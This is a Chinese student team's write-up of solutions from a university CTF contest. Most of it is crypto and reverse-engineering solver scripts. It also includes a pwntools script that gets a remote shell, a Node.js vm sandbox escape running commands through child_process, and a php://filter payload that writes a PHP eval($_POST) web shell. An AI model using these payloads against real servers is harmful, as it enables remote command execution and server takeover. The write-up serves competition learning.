战队名称

头甲枪胸挂背包 Flag 来

比赛排名

总分数：3149

学生组/大一新生组排名：17

总排名：19

战队成员

Ahhhjang、张鸿宇

yhf666、冯彦豪

ziye、王姿烨

签到

邪修方法（bushi）

1、浏览器搜索北京理工大学进入官网。

2、找到“图库平台”栏目。

3、任君选择。

babyRSA

encrypt.py 做了这些事情：

1. 将 38 字节的 flag 分成两半 flag1 和 flag2，每半 19 字节。
2. 生成一个 1024 位的素数，乘以 bytes_to_long(secret)得到 secret_num。
3. 取 p=nextprime(secret_num)，q=nextprime(p)，然后 N=p*q。
4. 定义：

$$c_1 = F_1 + F_2$$
$$c_2 = F_1^3 + F_2^3$$

其中F_1, F_2是两半 flag 的整数形式。

5. 用 RSA 公钥(e=0x10001,N)加密：

$$m_1 = c_1^e \, mod \, N$$
$$m_2 = c_2^e \, mod \, N$$

6. 给出 N,m1,m2。

正常 RSA 让 ai 做

```
# 分解 N
root = gmpy2.isqrt(N)
for i in range(-100000, 100000):
    test = root + i
    if N % test == 0:
        p = test
        q = N // p
        break

e = 0x10001
phi = (p-1)*(q-1)
d = pow(e, -1, phi)

c1 = pow(m1, d, N)
c2 = pow(m2, d, N)

print("c1 =", c1)
print("c2 =", c2)

F1F2 = (c1**3 - c2) // (3 * c1)

D = c1**2 - 4*F1F2
sqrtD = gmpy2.isqrt(D)
assert sqrtD * sqrtD == D

F1 = (c1 + sqrtD) // 2
F2 = (c1 - sqrtD) // 2

flag1 = long_to_bytes(F1)
flag2 = long_to_bytes(F2)
flag = flag1 + flag2
print(flag)
```

easyAES

1. key=os.urandom(2)*16
   这意味着 key 是 2 个随机字节重复 16 次，所以 key 长度是 32 字节（AES-256 需要 32 字节 key）。但注意：os.urandom(2)返回 2 个随机字节，比如 b'\x12\x34'，重复 16 次就是 b'\x12\x34'*16，即 b'\x12\x34\x12\x34...\x12\x34'（共 32 字节）。
2. iv=os.urandom(16)。iv 是 16 字节随机数。
3. 输出：

python

print(bytes_to_long(key)^bytes_to_long(iv))

这里 key 是 32 字节，iv 是 16 字节，bytes_to_long 是把字节串转成整数（大端表示）。异或时，key 比 iv 长，实际上 Python 的 bytes_to_long 对 key 得到的是 256 比特的整数，对 iv 得到的是 128 比特的整数，异或时 iv 整数在高位补 0 到 256 比特，再与 key 整数异或。

4. 用 AES-256CBC 加密 FLAG，输出密文。

```
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes

X = 54755426038978086460310747316994556563126341157253266647920514387148480709140
enc_flag = b'K\x04?\'\xc1<\xe0\x15\xd2i\x8b\xb1"9?)\x1a\xb3)\xd6a\xfa\x9c\x84*\x0fi\xf7\xa4\x85\xd2
\x1d'

# 取高128位
P = X >> 128
# 取低128位
low128 = X & ((1 << 128) - 1)
iv_int = P ^ low128

# P 是 (k0 k1) 重复8次 (16字节)
key_bytes = long_to_bytes(P, 16)  # 高128位就是key的前半部分，但key是32字节，所以重复两次
key_bytes = key_bytes * 2  # 16字节变32字节

iv_bytes = long_to_bytes(iv_int, 16)

aes = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
flag = aes.decrypt(enc_flag)
print(flag)
```

remaining thing

1、打开附件，给出了疑似 RSA 的公钥指数 e 的值以及三组密文 C 和模数 N 对。

2、考虑 RSA 小指数广播攻击，利用中国剩余定理解下面方程组就能得到明文 M：

$$\begin{cases} C_1 \equiv M^3 (\bmod N_1) \\ C_2 \equiv M^3 (\bmod N_2) \\ C_3 \equiv M^3 (\bmod N_3) \end{cases}$$

3、编写脚本得到 flag。

```
from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot

N = [N1, N2, N3]
C = [C1, C2, C3]

x, mod = crt(N, C)
m, exact = iroot(x, e)
flag = long_to_bytes(m)

print(m)
print(flag.decode())
```

签顺道

1、程序读取用户输入（最多 0x100 字节）到栈缓冲区 s。

2、比较输入是否等于"f8fqgfm"。

3、如果匹配，执行 system("/bin/sh")获得 shell，否则输出错误信息并退出。

python 复制 下载

```python
#!/usr/bin/env python3
from pwn import *

# 本地测试
# p = process('./pwn_binary_name')

# 连接远程
p = remote('目标IP', 端口)

# 接收初始输出（可选）
print(p.recvuntil(b'> '))

# 发送密码
p.sendline(b'f8fqgfm')

# 获得 shell 后交互
p.interactive()
```

1zvm

该沙箱的 this 指向全局，使用在沙箱内

this.constructor.constructor('return process')().mainModule.require('child_process').execSync('命令').toString();

找到 flag cat 即可。

exit

利用 php://filter 绕过 exit 即可，用 base64 解码，将<?php eval($_POST['a']);?>进行 base64 编码，前面有 35 个字符，得补一个字符即

filename=php://filter/write=convert.base64-decode/resource=2.php&code=aPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

然后 post2.php 给 a 变量作为命令执行即可得到 flag。

ChaCha20

1、打开附件，先顺手反编译出源代码，是一个加密算法。大致流程为先生成随机 32 字节 k1 和 16 字节 n1，再使用 int(time.time())%100 作为随机种子生成 128 位 k2 和 64 位 n2，计算 key=k1^k2 和 nonce=n1^n2，最后用 ChaCha20 加密 flag。

2、附件文本给出了 k1、n1 和密文。只需要找出 k2 和 n2，就能对密文进行解密。由于种子范围很小，只有 100 个可能值，直接力大砖飞暴力枚举。

3、编写脚本得到 flag。

```
k1 =
8915673788080947414544953202949305544484932892274158267758475539002952 9
653680
n1 = 20979402206073728478533457085044507592
encrypted_hex =
"a8c123f27ed9d34a6040a98f0b9d5e22930ca34bd3195e27a1e73725aba2f3eff888"
encrypted_data = bytes.fromhex(encrypted_hex)

for seed in range(100):
    try:
        random.seed(seed)

        k2 = random.getrandbits(128)
        n2 = random.getrandbits(64)

        key = long_to_bytes(k1 ^ k2)
        nonce = long_to_bytes(n1 ^ n2)

        decrypted = chacha20_decrypt(encrypted_data, key, nonce)

        if b'flag{' in decrypted:
            print(decrypted.decode())
        else:
            try:
                decoded = decrypted.decode('utf-8')
                if all(c in
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!@#$%
^&*()-=+[]' for c in decoded):
                    print(decoded)
            except:
                pass

    except Exception as e:
        continue
```

math

1、直接 IDA 反编译出源码，找到关键函数 judge 用于校验 flag，judge 内还调用了 4 个函数对输入的 6 个变量进行处理，通通喂给聪明的 AI，发现调用的 4 个函数本质上分别为加法、减法、乘法、按位异或。

2、将函数 judge 的判定条件用数学语言描述，即为一个方程组：

$$\begin{cases} (a+b) \bmod 951337 = 597141 \\ a-b+2c = 1644082 \\ 4f \oplus d = 1161537 \\ 5(d-e) = 343890 \\ a+f = 1136538 \\ 2d+e = 1952901 \end{cases}$$

3、编写脚本解方程组得到 flag。脚本太长了就不放了。

奶龙与小七之大战 Web Assembly

1、直接把 check.wasm 喂给 wasm2wat demo 得到源码。wasm 文件没见过怎么办？请出聪明的 DeepSeek 老师。check.wasm 中有 3 个关键函数，分别执行“将输入值左移 1 位（相当于乘以 2）”“将输入值乘以 2 再加 1，即 g(i)=(2*i+1)”“验证 g(2*i)^(flag[i]^enc[i])==8”的步骤。

2、反推一下得到 flag[i]=enc[i]^(4*i+1)^8。

3、编写脚本得到 flag。

```
enc = [
75, 66, 89, 124, 51, 64, 81, 65, 98, 76, 46, 46, 32, 76, 113, 39, 71,
24, 12, 112, 120, 19, 80, 0, 79, 8, 98, 10, 68, 80, 86, 4, 124, 126,
43, 58, 112, 114, 60, 24, 61, 104, 59, 108, 101, 100, 102, 51, 54, 92,
5, 92, 62, 91, 81, 87, 65, 79, 77, 78, 65, 29, 67, 40, 189, 229, 233,
208, 233, 178, 176, 216, 206, 175, 168, 242, 236
]

flag = []
for i in range(len(enc)):
    flag.append(enc[i] ^ (2 * i + 1) ^ 8)

print(''.join(chr(b) for b in flag))
```

A.故障机器人

本题的核心是贪心策略与批量回合计算，围绕“机器人优先攻击血量最低的异鸟”展开，通过排序将异鸟按血量升序排列，再按血量分段批量计算每段存活异鸟对机器人的伤害贡献。

将异鸟血量按升序排列，因为机器人每次必然攻击当前血量最低的异鸟，排序后可按“从低到高”的顺序批量处理同一段血量的异鸟。记录前序已处理异鸟的最大血量，代表前序回合已经把异鸟打到该血量，避免重复计算。处理到第 i 只异鸟时，前 i 只异鸟已被击杀离场，当前存活的异鸟数量为 n-i。当前异鸟与血量基准的差值为 diff，机器人每次攻击造成 3 点伤害，因此需要的回合数为 diff 向上取整除以 3。

“异鸟血量≤0 会立即离场”，因此击杀异鸟的最后 1 个回合，该异鸟在回合开始被击杀后已离场，回合结束时不会造成伤害。需将计算出的回合数减 1 后，再乘以存活数（。

若当前异鸟的血量≤血量基准 prev_h，说明该异鸟已被前序回合击杀，无需重复计算，直接跳过即可。

C.争风吃醋

虽然一直没过（不是报 WA），但还是有些许思路。

1.先判定是否是圆圈（据$n,m,$以及m行每行包含的两个整数u,v判断是否是圆圈，如果是直接输出 1、2 换行 2、3 换行....n-1、n 换行 n、1 换行)；

2.判定是否相邻：是否存在 u,v 使得 u==s&&v==t 或 u==t&v==s，不存在则非相邻，则困住（把两个人都困住不让他们走即可，即所在的路口的路线方向都是指向自己）；

3.相邻的话:

①稠密图，判定是否有“捷径”（即从 1 到 2 有多条路线但是都需要走一样的步数，就是没有捷径，反之则有）：

无捷径：输出 YES，按顺/逆时针定向（合并路径）；

有捷径：输出 NO；

②线、树：仍输出 NO。

③哑铃、勺子：把两个人赶向同一侧，变成圆圈，且二者出不去只能一直转圈。